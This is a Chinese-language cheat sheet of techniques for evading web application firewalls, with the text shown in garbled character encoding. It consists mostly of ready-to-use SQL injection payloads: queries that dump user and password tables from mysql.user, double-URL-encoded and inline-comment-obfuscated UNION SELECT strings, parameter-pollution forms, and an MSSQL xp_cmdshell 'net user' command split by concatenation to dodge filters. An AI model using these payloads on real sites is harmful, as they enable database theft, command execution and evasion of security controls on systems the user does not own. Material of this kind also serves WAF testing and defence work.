繞過waf的方法:
1.白名單、2改變請(qǐng)求方法、3.大小寫繞過 、4.url編碼繞過、5.組合繞過、6.復(fù)參數(shù)繞過
7.雙寫繞過、8.waf特性(可在關(guān)鍵字中,)9.內(nèi)聯(lián)注釋繞過、10.特殊字符換空格(//、/|%23--%23%|/、/!%aa*/、%0a) 、11.特殊字符+拼接 、12.分塊傳輸 、13.使用其他變量或命令進(jìn)行替換
如何繞過云waf:
1.利用brupsite的插件bypasswaf添加請(qǐng)求頭
1、白名單繞過
(1).偽造user-agent頭,或者使用火狐插件User Agent Switcher
*使用brupsute替換user-agent頭:

*批量換user-agent:

(2).偽造白名單特殊目錄
360webscan腳本存在這個(gè)問題,就是判斷是否為admin dede install等目錄,如果是則不做攔截。
例子:比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user
可以改為:
www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user
或者
www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user
現(xiàn)在需要自己添加白名單目錄進(jìn)行配置。
2、大小寫繞過
sql.php?id=1 And 1=1
3、雙寫繞過注入(關(guān)鍵字被過濾的情況下可使用)
sql.php?id=1 anandd 1=1
4、編碼繞過注入
將注入語句關(guān)鍵字使用url編碼2次,服務(wù)器會(huì)自動(dòng)給url進(jìn)行一次url解碼。例如:sql.php?id=1 %25%36%31%25%36%65%25%36%34 1=1(對(duì)and進(jìn)行兩次編碼)
5、內(nèi)聯(lián)注釋繞過注入
/*!*/是mysql特有的注釋方式,意為不注釋掉里面的內(nèi)容。
sql.php?id=1%20/*!and%20*/%20-1=-1
6、修改請(qǐng)求方式繞過
可以將get請(qǐng)求方法修改為post和cookie。waf默認(rèn)是post和cookie是關(guān)閉狀態(tài)。
可以在brupsite進(jìn)行修改。
7、復(fù)參數(shù)繞過
正常寫法是sql.php?id=1 And -1=-1
復(fù)參數(shù)的寫法是:
sql.php?id=1 &id=and&-1=-1
8、特殊字符替換空格
在mysql中使用%0a代替空格。

在sqlserver中使用/**/ 代替空格。

/*|%23--%23|*/代替空格:

/*%!aa*/也代表空格
%在sql里面是任意字符的意思,也就是/*和!之間假如有字符,它就不會(huì)執(zhí)行這個(gè)內(nèi)聯(lián)注釋里面的內(nèi)容,被認(rèn)為是普通的注釋
9、特殊字符拼接 +
mssql可以使用"+"把特殊字符拼接起來繞過waf的檢測(cè)。
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改為:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
10、利用WAF本身的功能繞過
把"*"替換為空 (waf規(guī)則不同)
uni*on+sel*ect+1,2,3,4....
或者其他的方法:
11、使用其他變量或者命令對(duì) 注入語句進(jìn)行替換 COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
= | like
or 1=1可以替換為 or MOD(8,1) in 1
12、組合方法:
1、 關(guān)鍵字替換法+URL編碼
正常寫法:sql.php?id=1 and -1=-1 (將and替換為&&在進(jìn)行url編碼)
替換后:sql.php?id=1 %26%26 -1=-1
1.利用()代替空格
2.利用mysql特性執(zhí)行語句
3.利用混淆代碼
我給出的注入語句是:
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1, user(),(database/**/()),4,5
http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5
這里要注意的幾點(diǎn)是:
1.mysql關(guān)鍵字中是不能插入/**/的,即se/**/lect是會(huì)報(bào)錯(cuò)的,但是函數(shù)名和括號(hào)之間是可以加上/**/的,像database/**/()這樣的代碼是可以執(zhí)行的
2./*!*/中間的代碼是可以執(zhí)行的,其中50010為mysql版本號(hào),只要mysql大于這個(gè)版本就會(huì)執(zhí)行里面的代碼
3.數(shù)據(jù)或者函數(shù)周圍可以無限嵌套()
4.利用好%00
3、內(nèi)聯(lián)注釋+替換空格法
sql.php%20?id=1%20/*!union*//*%!aa*//*!50010select*/%20(database/**/()),(user/**/())
13、分塊傳輸
在brupsite抓包之后發(fā)送到重發(fā)器,選擇變更請(qǐng)求方法。

在請(qǐng)求頭中添加下面內(nèi)容:

Order by 可以改為group by或group by()去繞過 。
14.使用brupsute的插件bypasswaf 添加請(qǐng)求頭(可過云waf)


或者在路徑前加上隨機(jī)路徑../

